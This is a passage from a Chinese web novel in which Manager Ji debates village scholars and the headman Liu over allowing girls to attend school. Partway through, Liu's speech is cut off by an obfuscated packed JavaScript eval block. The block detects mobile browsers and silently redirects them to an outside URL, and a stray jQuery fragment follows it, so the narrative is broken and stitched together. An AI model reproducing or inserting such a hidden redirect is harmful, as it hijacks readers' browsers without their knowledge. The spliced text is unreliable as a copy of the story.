古秀才面容冷峻地听着季掌柜这一番说话,冷哼一声,刚要开口,季掌柜忽然笑道:“喔,让女子识两个字、读几本书,便能‘乱了纲常’,原来在秀才公心中,女子之地位竟然如此之重,险些误会了您了。”
什么话!古秀才气得直瞪眼,怒道:“你——”他到底是有年纪的人,一时生气,枯朽的身子晃了晃,旁边两个年纪稍轻的赶忙上前扶住了。
古秀才败下阵来,立时又有一个头戴逍遥巾、面容儒雅的蓝衣文士站出来道:“诸君听我一言——此事非是我等食古不化,实则若许女子上学堂,每日必得穿街过市、受人瞩目,又要与陌生男子同堂而坐、声色相闻,此乃闻所未闻,实在有伤风化。”
众人闻言,纷纷点头附和,蓝衣文士向众人微笑示意,又将背脊挺了挺。
仍旧是季掌柜不紧不慢地笑道:“尊驾适才也说是‘受人瞩目’,有这等事,怎么不去责问那些乱看人家女孩儿的人,反倒嗔怪起这些无辜女子了?我辈读书识礼,自诩泱泱大国上邦,又常宣‘夜不闭户、路不拾遗’之弘景,到头来却要将自家女眷藏之深闺,是畏惧些什么?再者,古来‘闻所未闻’者数不胜数,难道都是不足取的?单说如今你我之一言一行,于商周之时便是‘闻所未闻’的,难道我们只尊古礼,便说新法都应摒弃不成?如此连房屋也不必住了,各人仍旧幕天席地、往外去茹毛饮血也罢了,依尊驾的意思,岂不是最合风化的。”
林家众人都转头看着季掌柜,眼里都放着光,没想到平日里沉稳少言、温厚谦和的季掌柜,竟是如此能言善辩之人。
蓝衣文士的嘴张了张,终于没说出话来,自己泄了气,低着头退入人群,众人愈发议论不休。
这时人群中一声轻咳,又走出一个圆脸带笑的人,将两手在虚空中按了按,示意众人噤声,一面笑道:“何必争执、何必争执!大家都是读书人,各抒己见罢了,不必认真!依我想,自古女子辈识字的也不在少数,也有不少会吟诗作对的,偶有一二诗作传出来,或表情、或寄愿,也都是佳话,谁不乐见!可见我等并非是绝对地‘反对’,到底也是为女子考虑。女儿家矜贵,何苦要受那奔走之累、寒窗之苦,若是家里愿意教她们认字,也轮不到外人置喙,便请上闺塾师到家里秘授也罢了,既安静、又便当,免得她们抛头露面,于她们自己也是诸多方便。”
季掌柜看他胸前木牌上的号码是“壹拾肆”,对应在纸上勾画了几笔,跟着将笔搁下,笑道:“这位仁兄倒是很为女子‘考虑’。”
圆脸之人忙笑道:“自然、自然,人生在世,谁无母亲姊妹,学生自然是肯为女子着想的,不欲她们受累。”
季掌柜环视众人,沉静地道:“原来如此。此仁兄之高见,想必诸位都是认同的了?”
这的确是个两全的法子,既不必使女子上学堂贻笑大方,又不必让林家人颜面扫地,两边各有交代,这人处事圆滑,倒也是个人才,众乡中耆老、文士皆点头以示同意。
季掌柜叹了一口气,道:“依此仁兄之见,以塾师入闺门授课,的确可使女子认字读书,然请问诸位——聘师需花费几何?一年劳作得钱又是几何?若无余钱可延师者,如本乡多半之乡亲,他们的孩儿,难道是不配读书的么?圣贤曾教导我等‘有教无类’,何曾又对求知若渴者分过三六九等,焉能以家资多寡为由、不许人闻道?实在大谬也矣!”
一时众人面面相觑、哑口无言,圆脸文士脸上一阵红一阵白,颇觉扫兴,自己瘪着嘴立在一边。
季掌柜顿了一顿,又道:“更何况,此兄还有一言,小可不敢苟同。君曾言‘谁无母亲姊妹’,以此应当‘为女子着想’。我却以为,凡我等为人者,皆应体恤同类,此情发乎本心,不必外物相引。男子、女子,一体两面、阴阳相生,同为天地精华所钟所造,为世间灵长,无分高低内外亲疏,更应携手共勉,这般道理,难道在座诸位是不明白的么?难道女儿家本身不值得尊重、怜惜,只有将她作为男子的母亲、姊妹、女儿时,才可堪怜么?”
只可惜,他这一席语重心长的话并不能使得在场的老学究们醒悟,这些久已习惯了男子为尊的老古板们反而因为无端受到疯子的盘诘而觉得大跌颜面,其中几个自负骄傲的乡绅更是心浮气躁,纷纷起立要离开。
这些素日有体面的人物一起身,反倒提示了众文士们,其中一个干瘦如麻秆的人灵机一动,忙上前一步,朗声道:“‘巧言令色、鲜矣仁’,你嘴皮子厉害,我们一干人说不过你,却也不能放任你胡作非为。今日乡约也在,孰是孰非,合该请他来评断,好教你知道世上到底还有些公理正义。”说着便望向上首一名面目严肃的老者,拱手以拜。
原来这人就是本乡的乡约,姓刘名知义,现年六十有二,家中颇有资财,在乡里德高望重,自他任乡约以来,负责在本乡宣讲圣谕、教化乡民,因为处事公允,不倚势偏私,所以甚得人心,平日若遇到难决之事,就连本地的杂官胥吏也要倚仗他出面调停。
今日这场面,连他也在林家邀请之列,一直端坐首席,从头至尾不苟言笑。此时众人眼望刘乡约,纷纷拱手致礼,都指望他能仗义执言、拨乱反正。
一时间众读书人长揖拱手,画面甚是齐整,观之倒颇有些悲壮之感,不知道的,还以为这些人是在为民请命呢。
又等了片刻,刘乡约才轻咳一声,眼光漫过下面一片头顶,似乎是在享受众人对他的拥戴,终于缓缓站起身来,转向季掌柜等人严肃地道:“此事万万不可。老朽受乡亲信任,忝居乡约,自当敦风化、治民俗,似此等败坏家风乡俗之事,断不可在此地发生。尔等外乡人不知本乡事,也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022073|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
该多听本地有识之士的劝教,若诸位执意不肯听劝——此地难留贵客,老朽等也只好秉公办事了。”
有乡约为他们出头,众人纷纷叫好,都觉畅快,只盼今日有乡约、里长等人将这些外乡人好好压制住,让他们不敢继续放肆,方才季掌柜开口便是一口地道的京城官话,咬字清晰、顿挫有力,更是刺痛了他们一干人的自尊。
日前林家人置地购产之时,除有刘姥姥帮忙疏通联络外,与本乡话事者们也有往来,掌柜的们都是场面上混惯了的人,到地拜山,礼数丝毫不缺,很快便与乡绅们打成一片,是以季掌柜认得这位乡约,见他出面,不慌不忙地道:“刘公处事公允,享誉乡里,在下早有耳闻,不胜尊敬,只是——凡事之处分该有法可依,不知本朝律法中可有哪一条规定女子不可上学堂?本乡乡约、祖训中可有哪一条写了不许女子上学堂?”
他连发两问,问得众人张口结舌。这样简明的问题,素日却无人愿意拨冗思考,女子不该上学,这件怪事,人人都当作是天经地义的一般,谁又想过为何不能、为何不该?
一时众人交头接耳、窃窃私语,都道:“该有的罢?”或云:“劳驾,谁去查了律例来,叫他们心服口服。”
季掌柜淡淡笑道:“不必麻烦了,小可不才,学识虽不比诸位,却对本朝律例略有研究。余曾遍览律例,皆无此条。若无此条,意即女子上学堂之事不违法、不违例,余等施行,是自然之理。”
一时众人又鼓噪起来,有不信没有这样律例的,又嚷着不可听季掌柜一家之言,要去查了再说,刘守义摆摆手,示意众人噤声,皱眉道:“国有国法、家有家规,女子入学,虽不违‘例’,却是违‘礼’。我等虽是乡野之民,却也知礼仪、晓荣辱,不能放任此等败俗伤风之事横行,老朽言尽于此,尔等若一意孤行,那便看这学堂能办到几时罢!”说着气愤愤地一拱手,头也不回地出门去了。
其余文士有了主心骨,都道:“我等读书人皆有骨气,不可为升斗小利折节,我等不来授课,学堂无先生,必然不得长久,到时才知真章哩。”说着便两两相携,由古秀才领头,昂首挺胸离开,仿佛打赢一场胜仗一般。
人群鱼贯而出,很快便只剩下林家众人。刘姥姥今日也来瞧热闹,前面一直坐在后堂,此时走过来,愤愤地道:“这点子事,也值得这样,女人要念书,我不信就伤天害理了。”想了想,又担忧起来:“季先生今日同他们吵了一场,来日却怎生处,那些人不至于来使坏罢?”
秦管家请她在旁边坐了,道:“姥姥放心,不妨事。”
其余几个掌柜的也神色如常,一时都向季掌柜笑道:“不想老季竟有此等口才,有那些人作‘车轮战’,那般夹缠不休,老季你竟也半点不落下风,我等听得酣畅淋漓,往日真多谢嘴下留情之恩了。”